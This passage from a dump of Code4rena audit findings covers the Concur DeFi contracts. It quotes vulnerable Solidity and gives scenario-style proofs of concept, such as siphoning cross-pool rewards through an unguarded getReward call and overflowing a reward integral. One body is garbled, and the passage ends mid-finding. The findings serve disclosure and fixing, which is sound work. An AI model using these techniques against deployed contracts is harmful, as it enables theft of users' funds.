"https://github.com/code-423n4/2022-02-concur-findings/issues/231", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L182 # Vulnerability details ## Impact If deposits and withdraws are done frequently enough, the reward update operation they invoke will deal mostly with the case when there is nothing to add yet, i.e. `reward.remaining` match the reward token balance. If reward token doesn't allow for zero value transfers, the reward update function will fail on an empty incremental reward transfer, which is now done unconditionally, reverting the caller deposit/withdrawal functionality ## Proof of Concept When ConvexStakingWrapper isn't paused, every deposit and withdraw update current rewards via `_checkpoint` function before proceeding: https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L233 https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L260 `_checkpoint` calls `_calcRewardIntegral` for each of the reward tokens of the pid: https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L220 `_calcRewardIntegral` updates the incremental reward for the token, running the logic even if reward is zero, which is frequently the case: https://github.com/code-423n4/2022-02-concur/blob/main/contracts/ConvexStakingWrapper.sol#L182 If the reward token doesn't allow zero value transfers, this transfer will fail, reverting the corresponding deposit or withdraw ## Recommended Mitigation Steps Consider checking the reward before doing transfer (and the related computations as an efficiency measure): Now: ``` IERC20(reward.token).transfer(address(claimContract), d_reward); ``` To be: ``` if (d_reward > 0) IERC20(reward.token).transfer(address(claimContract), d_reward); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/230", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/228", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "StakingRewards.setRewardsDuration allows setting near zero or enormous rewardsDuration, which breaks reward logic", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/223", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/StakingRewards.sol#L178-185 # Vulnerability details ## Impact notifyRewardAmount will be inoperable if rewardsDuration bet set to zero. If will cease to produce meaningful results if rewardsDuration be too small or too big ## Proof of Concept The setter do not control the value, allowing zero/near zero/enormous duration: https://github.com/code-423n4/2022-02-concur/blob/main/contracts/StakingRewards.sol#L178-185 Division by the duration is used in notifyRewardAmount: https://github.com/code-423n4/2022-02-concur/blob/main/contracts/StakingRewards.sol#L143-156 ## Recommended Mitigation Steps Check for min and max range in the rewardsDuration setter, as too small or too big rewardsDuration breaks the logic "}, {"title": "Rewards get diluted because `totalAllocPoint` can only increase.", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/221", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol # Vulnerability details ## Impact There is no functionality for removing pools/setting pool's allocPoints. Therefore `totalAllocPoint` only increases and rewards for pool decreases. ## Proof of Concept Scenario: 1. Owner adds new pool (first pool) for staking with points = 900 (totalAllocPoint=900). 2. 1 week passes 3. First pool staking period ends (or for other reasons that pool is not meaningfully anymore). 4. Owner adds new pool (second pool) for staking with points = 100 (totalAllocPoint=1000) 5. 1 block later Alice stake 10 tokens there (at the same time). 6. 1 week passes 7. After some time Alice claims rewards. But she is eligible only for 10% of the rewards. 90% goes to unused pool. ## Tools Used Manual review ## Recommended Mitigation Steps Add functionality for removing pool or functionality for setting pool's `totalAllocPoint` param. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Wrong reward token calculation in MasterChef contract", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/219", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L86 # Vulnerability details ## Impact When adding new token pool for staking in MasterChef contract ```javascript function add(address _token, uint _allocationPoints, uint16 _depositFee, uint _startBlock) ``` All other, already added, pools should be updated but currently they are not. Instead, only totalPoints is updated. Therefore, old (and not updated) pools will lose it's share during the next update. Therefore, user rewards are not computed correctly (will be always smaller). ## Proof of Concept Scenario 1: 1. Owner adds new pool (first pool) for staking with points = 100 (totalPoints=100) and 1 block later Alice stakes 10 tokens in the first pool. 2. 1 week passes 3. Alice withdraws her 10 tokens and claims X amount of reward tokens. and 1 block later Bob stakes 10 tokens in the first pool. 4. 1 week passes 5. Owner adds new pool (second pool) for staking with points = 100 (totalPoints=200) and 1 block later Bob withdraws his 10 tokens and claims X/2 amount of reward tokens. But he should get X amount Scenario 2: 1. Owner adds new pool (first pool) for staking with points = 100 (totalPoints=100). 2. 1 block later Alice, Bob and Charlie stake 10 tokens there (at the same time). 3. 1 week passes 4. Owner adds new pool (second pool) for staking with points = 400 (totalPoints=500) 5. Right after that, when Alice, Bob or Charlie wants to withdraw tokens and claim rewards they will only be able to claim 20% of what they should be eligible for, because their pool is updated with 20% (100/500) rewards instead of 100% (100/100) rewards for the past week. ## Tools Used Manual review ## Recommended Mitigation Steps Update all existing pools before adding new pool. Use the massUdpate() function which is already present ... but unused. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "[WP-M17] `USDMPegRecovery.sol#withdraw()` withdraw may often fail", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/212", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/USDMPegRecovery.sol#L110-L128 # Vulnerability details Per the doc: > USDM deposits are locked based on the KPI\u2019s from carrot.eth. > 3Crv deposits are not locked. https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/USDMPegRecovery.sol#L110-L128 ```solidity function withdraw(Liquidity calldata _withdrawal) external { Liquidity memory total = totalLiquidity; Liquidity memory user = userLiquidity[msg.sender]; if(_withdrawal.usdm > 0) { require(unlockable, \"!unlock usdm\"); usdm.safeTransfer(msg.sender, uint256(_withdrawal.usdm)); total.usdm -= _withdrawal.usdm; user.usdm -= _withdrawal.usdm; } if(_withdrawal.pool3 > 0) { pool3.safeTransfer(msg.sender, uint256(_withdrawal.pool3)); total.pool3 -= _withdrawal.pool3; user.pool3 -= _withdrawal.pool3; } totalLiquidity = total; userLiquidity[msg.sender] = user; emit Withdraw(msg.sender, _withdrawal); } ``` However, because the `withdraw()` function takes funds from the balance of the contract, once the majority of the funds are added to the curve pool via `provide()`. The `withdraw()` may often fail due to insufficient funds in the balance. ### PoC 1. Alice deposits `4M` USDM and `4M` pool3 tokens; 2. Guardian calls `provide()` and all the `usdm` and `pool3` to `usdm3crv`; 3. Alice calls `withdraw()`, the tx will fail, due to insufficient balance. ### Recommendation Consider calling `usdm3crv.remove_liquidity_one_coin()` when the balance is insufficient for the user's withdrawal. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "[WP-H29] `StakingRewards.sol` `recoverERC20()` can be used as a backdoor by the `owner` to retrieve `rewardsToken`", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/210", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/StakingRewards.sol#L166-L176 # Vulnerability details https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/StakingRewards.sol#L166-L176 ```solidity function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require( tokenAddress != address(stakingToken), \"Cannot withdraw the staking token\" ); IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } ``` ### Impact Users can lose all the rewards to the malicious/compromised `owner`. ### Recommendation Change to: ```solidity function recoverERC20( address tokenAddress, address to, uint256 amount ) external onlyOwner { require(tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken), \"20\"); IERC20(tokenAddress).safeTransfer(to, amount); emit Recovered(tokenAddress, to, amount); } ``` "}, {"title": "[WP-H28] `StakingRewards.sol#notifyRewardAmount()` Improper reward balance checks can make some users unable to withdraw their rewards", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/209", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/StakingRewards.sol#L154-L158 # Vulnerability details https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/StakingRewards.sol#L154-L158 ```solidity uint256 balance = rewardsToken.balanceOf(address(this)); require( rewardRate <= balance / rewardsDuration, \"Provided reward too high\" ); ``` In the current implementation, the contract only checks if balanceOf `rewardsToken` is greater than or equal to the future rewards. However, under normal circumstances, since users can not withdraw all their rewards in time, the balance in the contract contains rewards that belong to the users but have not been withdrawn yet. This means the current checks can not be sufficient enough to make sure the contract has enough amount of rewardsToken. As a result, if the `rewardsDistribution` mistakenly `notifyRewardAmount` with a larger amount, the contract may end up in a wrong state that makes some users unable to claim their rewards. ### PoC Given: - rewardsDuration = 7 days; 1. Alice stakes `1,000` stakingToken; 2. `rewardsDistribution` sends `100` rewardsToken to the contract; 3. `rewardsDistribution` calls `notifyRewardAmount()` with `amount` = `100`; 4. 7 days later, Alice calls `earned()` and it returns `100` rewardsToken, but Alice choose not to `getReward()` for now; 5. `rewardsDistribution` calls `notifyRewardAmount()` with `amount` = `100` without send any fund to contract, the tx will succees; 6. 7 days later, Alice calls `earned()` `200` rewardsToken, when Alice tries to call `getReward()`, the transaction will fail due to insufficient balance of rewardsToken. Expected Results: The tx in step 5 should revert. ### Recommendation Consider changing the function `notifyRewardAmount` to `addRward` and use `transferFrom` to transfer rewardsToken into the contract: ```solidity function addRward(uint256 reward) external updateReward(address(0)) { require( msg.sender == rewardsDistribution, \"Caller is not RewardsDistribution contract\" ); if (block.timestamp >= periodFinish) { rewardRate = reward / rewardsDuration; } else { uint256 remaining = periodFinish - block.timestamp; uint256 leftover = remaining * rewardRate; rewardRate = (reward + leftover) / rewardsDuration; } rewardsToken.safeTransferFrom(msg.sender, address(this), reward); lastUpdateTime = block.timestamp; periodFinish = block.timestamp + rewardsDuration; emit RewardAdded(reward); } ``` "}, {"title": "[WP-H16] `MasterChef.sol` A `depositor` can deposit an arbitrary amount without no cost", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/208", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-concur-findings", "body": "[WP-H16] `MasterChef.sol` A `depositor` can deposit an arbitrary amount without no cost"}, {"title": "[WP-H14] `ConvexStakingWrapper`, `StakingRewards` Wrong implementation will send `concur` rewards to the wrong receiver", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/205", "labels": ["bug", "3 (High Risk)"], "target": "2022-02-concur-findings", "body": "[WP-H14] `ConvexStakingWrapper`, `StakingRewards` Wrong implementation will send `concur` rewards to the wrong receiver"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "[WP-H13] `MasterChef.sol` Users won't be able to receive the `concur` rewards", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/200", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/MasterChef.sol#L135-L154 # Vulnerability details According to: - README https://github.com/code-423n4/2022-02-concur#-masterchef - Implementation of `deposit()`: [/contracts/MasterChef.sol#L157-L180](https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/MasterChef.sol#L157-L180) MasterChef is only recording the deposited amount in the states, it's not actually holding the `depositToken`. `depositToken` won't be transferred from `_msgSender()` to the MasterChef contract. Therefore, in `updatePool()` L140 `lpSupply = pool.depositToken.balanceOf(address(this))` will always be `0`. And the `updatePool()` will be returned at L147. https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/MasterChef.sol#L135-L154 ```solidity function updatePool(uint _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint lpSupply = pool.depositToken.balanceOf(address(this)); if (lpSupply == 0 || pool.allocPoint == 0) { pool.lastRewardBlock = block.number; return; } if(block.number >= endBlock) { pool.lastRewardBlock = block.number; return; } uint multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint concurReward = multiplier.mul(concurPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accConcurPerShare = pool.accConcurPerShare.add(concurReward.mul(_concurShareMultiplier).div(lpSupply)); pool.lastRewardBlock = block.number; } ``` ### Impact - The MasterChef contract fail to implement the most essential function; - Users won't be able to receive any `Concur` rewards from MasterChef; ### Recommendation Consider creating a receipt token to represent the invested token and use the receipt tokens in MasterChef. See: https://github.com/convex-eth/platform/blob/883ffd4ebcaee12e64d18f75bdfe404bcd900616/contracts/contracts/Booster.sol#L272-L277 "}, {"title": "[WP-H8] `ConvexStakingWrapper.sol#_calcRewardIntegral` Wrong implementation can disrupt rewards calculation and distribution", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/199", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/ConvexStakingWrapper.sol#L175-L204 # Vulnerability details https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/ConvexStakingWrapper.sol#L175-L204 ```solidity uint256 bal = IERC20(reward.token).balanceOf(address(this)); uint256 d_reward = bal - reward.remaining; // send 20 % of cvx / crv reward to treasury if (reward.token == cvx || reward.token == crv) { IERC20(reward.token).transfer(treasury, d_reward / 5); d_reward = (d_reward * 4) / 5; } IERC20(reward.token).transfer(address(claimContract), d_reward); if (_supply > 0 && d_reward > 0) { reward.integral = reward.integral + uint128((d_reward * 1e20) / _supply); } //update user integrals uint256 userI = userReward[_pid][_index][_account].integral; if (userI < reward.integral) { userReward[_pid][_index][_account].integral = reward.integral; claimContract.pushReward( _account, reward.token, (_balance * (reward.integral - userI)) / 1e20 ); } //update remaining reward here since balance could have changed if claiming if (bal != reward.remaining) { reward.remaining = uint128(bal); } ``` The problems in the current implementation: - `reward.remaining` is not a global state; the `reward.remaining` of other `reward`s with the same rewardToken are not updated; - `bal` should be refreshed before `reward.remaining = uint128(bal);`; - L175 should not use `balanceOf` but take the diff before and after `getReward()`. ### PoC - convexPool[1] is incentivized with CRV as the reward token, `1000 lpToken` can get `10 CRV` per day; - convexPool[2] is incentivized with CRV as the reward token, `1000 lpToken` can get `20 CRV` per day. 1. Alice deposits `1,000` lpToken to `_pid` = `1` 2. 1 day later, Alice deposits `500` lpToken to `_pid` = `1` - convexPool `getReward()` sends `10 CRV` as reward to contract - `d_reward` = 10, `2 CRV` sends to `treasury`, `8 CRV` send to `claimContract` - `rewards[1][0].remaining` = 10 3. 0.5 day later, Alice deposits `500` lpToken to `_pid` = `1`, and the tx will fail: - convexPool `getReward()` sends `7.5 CRV` as reward to contract - `reward.remaining` = 10 - `bal` = 7.5 - `bal - reward.remaining` will fail due to underflow 4. 0.5 day later, Alice deposits `500` lpToken to `_pid` = `1`, most of the reward tokens will be left in the contract: - convexPool `getReward()` sends `15 CRV` as reward to the contract; - `d_reward = bal - reward.remaining` = 5 - `1 CRV` got sent to `treasury`, `4 CRV` sent to `claimContract`, `10 CRV` left in the contract; - `rewards[1][0].remaining` = 15 Expected Results: All the `15 CRV` get distributed: `3 CRV` to the `treasury`, and `12 CRV` to `claimContract`. Actual Results: Only `5 CRV` got distributed. The other `10 CRV` got left in the contract which can be frozen in the contract, see below for the details: 5. Bob deposits `1,000` lpToken to `_pid` = `2` - convexPool `getReward()` sends `0 CRV` as reward to the contract - `d_reward = bal - reward.remaining` = 10 - `2 CRV` sent to `treasury`, `8 CRV` sent to `claimContract` without calling `pushReward()`, so the `8 CRV` are now frozen in `claimContract`; - `rewards[2][0].remaining` = 10 ### Impact - The two most important methods: `deposit()` and `withdraw()` will frequently fail as the tx will revert at `_calcRewardIntegral()`; - Rewards distributed to users can often be fewer than expected; - If there are different pools that use the same token as rewards, part of the rewards can be frozen at `claimContract` and no one can claim them. ### Recommendation Consider comparing the `balanceOf` reward token before and after `getReward()` to get the actual rewarded amount, and `reward.remaining` should be removed. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "[WP-H2] `ConvexStakingWrapper#deposit()` depositors may lose their funds when the `_amount` is huge", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/194", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-02-concur-findings", "body": "[WP-H2] `ConvexStakingWrapper#deposit()` depositors may lose their funds when the `_amount` is huge"}, {"title": "[WP-H1] Rewards distribution can be disrupted by a early user", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/193", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/02d286253cd5570d4e595527618366f77627cdaf/contracts/ConvexStakingWrapper.sol#L184-L188 # Vulnerability details https://github.com/code-423n4/2022-02-concur/blob/02d286253cd5570d4e595527618366f77627cdaf/contracts/ConvexStakingWrapper.sol#L184-L188 ```solidity if (_supply > 0 && d_reward > 0) { reward.integral = reward.integral + uint128((d_reward * 1e20) / _supply); } ``` `reward.integral` is `uint128`, if an early user deposits with just `1` Wei of `lpToken`, and make `_supply == 1`, and then transferring `5e18` of `reward_token` to the contract. As a result, `reward.integral` can exceed `type(uint128).max` and overflow, causing the rewards distribution to be disrupted. ### Recommendation Consider `wrap` a certain amount of initial totalSupply at deployment, e.g. `1e8`, and never burn it. And consider using uint256 instead of uint128 for `reward.integral`. Also, consdier lower `1e20` down to `1e12`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/192", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "[WP-M0] `USDMPegRecovery.sol#provide()` Improper design/implementation make it often unable to add liquidity to the `usdm3crv` pool", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/191", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/02d286253cd5570d4e595527618366f77627cdaf/contracts/USDMPegRecovery.sol#L73-L82 # Vulnerability details https://github.com/code-423n4/2022-02-concur/blob/02d286253cd5570d4e595527618366f77627cdaf/contracts/USDMPegRecovery.sol#L73-L82 ```solidity function provide(uint256 _minimumLP) external onlyGuardian { require(usdm.balanceOf(address(this)) >= totalLiquidity.usdm, \"= totalLiquidity.usdm, \" USDM deposits are locked based on the KPI\u2019s from carrot.eth However, USDM deposits are also locked until guardian remove liquidity because there are no mechanism to remove deposited USDM in `withdraw` https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/USDMPegRecovery.sol#L90 "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "`StakingRewards` reward rate can be dragged out and diluted", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/183", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-concur-findings", "body": "`StakingRewards` reward rate can be dragged out and diluted"}, {"title": "Fee-on-transfer token donations in `Shelter` break withdrawals", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/180", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-concur-findings", "body": "Fee-on-transfer token donations in `Shelter` break withdrawals"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Donated Tokens Cannot Be Recovered If A Shelter Is Deactivated", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/173", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-concur-findings", "body": "Donated Tokens Cannot Be Recovered If A Shelter Is Deactivated"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/168", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "`ConvexStakingWrapper._calcRewardIntegral()` Can Be Manipulated To Steal Tokens From Other Pools", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/146", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L216-L259 # Vulnerability details ## Impact The `ConvexStakingWrapper.sol` implementation makes several modifications to the original design. One of the key changes is the ability to add multiple pools into the wrapper contract, where each pool is represented by a unique `_pid`. By doing this, we are able to aggregate pools and their LP tokens to simplify the token distribution process. However, the interdependence between pools introduces new problems. Because the original implementation uses the contract's reward token balance to track newly claimed tokens, it is possible for a malicious user to abuse the unguarded `getReward` function to maximise the profit they are able to generate. By calling `getReward` on multiple pools with the same reward token (i.e. `cvx`), users are able to siphon rewards from other pools. This inevitably leads to certain loss of rewards for users who have deposited LP tokens into these victim pools. As `crv` and `cvx` are reward tokens by default, it is very likely that someone will want to exploit this issue. ## Proof of Concept Let's consider the following scenario: - There are two convex pools with `_pid` 0 and 1. - Both pools currently only distribute `cvx` tokens. - Alice deposits LP tokens into the pool with `_pid` 0. - Both pools earn 100 `cvx` tokens which are to be distributed to the holders of the two pools. - While Alice is a sole staker of the pool with `_pid` 0, the pool with `_pid` 1 has several stakers. - Alice decides she wants to maximise her potential rewards, so she directly calls the unguarded `IRewardStaking(convexPool[_pid]).getReward` function on both pools, resulting in 200 `cvx` tokens being sent to the contract. - She then decides to deposit the 0 amount to execute the `_calcRewardIntegral` function on the pool with `_pid` 0. However, this function will calculate `d_reward` as `bal - reward.remaining` which is effectively the change in contract balance. As we have directly claimed `cvx` tokens over the two pools, this `d_reward` will be equal to 200. - Alice is then entitled to the entire 200 tokens as she is the sole staker of her pool. So instead of receiving 100 tokens, she is able to siphon rewards from other pools. Altogether, this will lead to the loss of rewards for other stakers as they are unable to then claim their rewards. https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L216-L259 ``` function _calcRewardIntegral( uint256 _pid, uint256 _index, address _account, uint256 _balance, uint256 _supply ) internal { RewardType memory reward = rewards[_pid][_index]; //get difference in balance and remaining rewards //getReward is unguarded so we use remaining to keep track of how much was actually claimed uint256 bal = IERC20(reward.token).balanceOf(address(this)); uint256 d_reward = bal - reward.remaining; // send 20 % of cvx / crv reward to treasury if (reward.token == cvx || reward.token == crv) { IERC20(reward.token).transfer(treasury, d_reward / 5); d_reward = (d_reward * 4) / 5; } IERC20(reward.token).transfer(address(claimContract), d_reward); if (_supply > 0 && d_reward > 0) { reward.integral = reward.integral + uint128((d_reward * 1e20) / _supply); } //update user integrals uint256 userI = userReward[_pid][_index][_account].integral; if (userI < reward.integral) { userReward[_pid][_index][_account].integral = reward.integral; claimContract.pushReward( _account, reward.token, (_balance * (reward.integral - userI)) / 1e20 ); } //update remaining reward here since balance could have changed if claiming if (bal != reward.remaining) { reward.remaining = uint128(bal); } rewards[_pid][_index] = reward; } ``` ## Tools Used Manual code review. Confirmation from Taek. ## Recommended Mitigation Steps Consider redesigning this mechanism such that all pools have their `getReward` function called in `_checkpoint`. The `_calcRewardIntegral` function can then ensure that each pool is allocated only a fraction of the total rewards instead of the change in contract balance. Other implementations might be more ideal, so it is important that careful consideration is taken when making these changes. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "`ConvexStakingWrapper.exitShelter()` Will Lock LP Tokens, Preventing Users From Withdrawing", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/144", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L121-L130 https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L309-L331 # Vulnerability details ## Impact The shelter mechanism provides emergency functionality in an effort to protect users' funds. The `enterShelter` function will withdraw all LP tokens from the pool, transfer them to the shelter contract and activate the shelter for the target LP token. Conversely, the `exitShelter` function will deactivate the shelter and transfer all LP tokens back to the `ConvexStakingWrapper.sol` contract. Unfortunately, LP tokens aren't restaked in the pool, causing LP tokens to be stuck within the contract. Users will be unable to withdraw their LP tokens as the `withdraw` function attempts to `withdrawAndUnwrap` LP tokens from the staking pool. As a result, this function will always revert due to insufficient staked balance. If other users decide to deposit their LP tokens, then these tokens can be swiped by users who have had their LP tokens locked in the contract. This guarantees poor UX for the protocol and will most definitely lead to LP token loss. ## Proof of Concept 